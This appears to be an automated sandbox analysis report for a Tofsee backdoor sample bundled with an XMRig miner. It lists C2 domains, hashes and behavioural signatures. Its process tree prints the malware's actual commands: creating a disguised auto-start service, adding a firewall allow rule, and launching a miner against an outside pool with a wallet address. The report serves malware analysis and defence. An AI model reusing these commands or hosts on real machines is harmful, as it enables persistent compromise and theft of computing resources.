Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 05:37

General

  • Target
    file.exe
  • Size 306KB
  • Sample221219-ga5jraec79
  • SHA256 5e0c357d7b430a6887b15a956e83fed187a2ef3453f2b81d5826ea85c91e2e8b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tgldfrck\
      2⤵
        PID:2500
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ellpqakv.exe" C:\Windows\SysWOW64\tgldfrck\
        2⤵
          PID:3132
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tgldfrck binPath= "C:\Windows\SysWOW64\tgldfrck\ellpqakv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tgldfrck "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3544
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tgldfrck
          2⤵
          • Launches sc.exe
          PID:5064
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:460
      • C:\Windows\SysWOW64\tgldfrck\ellpqakv.exe
        C:\Windows\SysWOW64\tgldfrck\ellpqakv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4436
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1732

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            ellpqakv.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ellpqakv.exe
            • Size 13.3MB
            • SHA256 6cbf97abb2ed82f5614ae352a9580c6bb5965c2daa510b1dde957c319f7e7c0e
            • MD5 SHA1 SHA512 SSDEEP

            ellpqakv.exe

            • Path C:\Windows\SysWOW64\tgldfrck\ellpqakv.exe
            • Size 13.3MB
            • SHA256 6cbf97abb2ed82f5614ae352a9580c6bb5965c2daa510b1dde957c319f7e7c0e
            • MD5 SHA1 SHA512 SSDEEP

            memory/1528-159-0x0000000001F60000-0x0000000001F70000-memory.dmp

            memory/1528-165-0x0000000007900000-0x0000000007D0B000-memory.dmp

            memory/1528-168-0x0000000001FE0000-0x0000000001FE7000-memory.dmp

            memory/1528-162-0x0000000001FD0000-0x0000000001FD5000-memory.dmp

            memory/1528-156-0x0000000000DF0000-0x0000000000DF6000-memory.dmp

            memory/1528-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

            memory/1528-151-0x00000000009E0000-0x00000000009F5000-memory.dmp

            memory/1528-146-0x00000000009E0000-0x00000000009F5000-memory.dmp

            memory/1732-177-0x0000000001000000-0x00000000010F1000-memory.dmp

            memory/1732-172-0x0000000001000000-0x00000000010F1000-memory.dmp

            memory/4436-178-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/4436-149-0x00000000004A4000-0x00000000004BA000-memory.dmp

            memory/4436-150-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/4436-152-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/4808-133-0x00000000005E0000-0x00000000005F3000-memory.dmp

            memory/4808-132-0x00000000007A9000-0x00000000007BF000-memory.dmp

            memory/4808-134-0x0000000000400000-0x0000000000452000-memory.dmp

            memory/4808-143-0x00000000007A9000-0x00000000007BF000-memory.dmp

            memory/4808-144-0x0000000000400000-0x0000000000452000-memory.dmp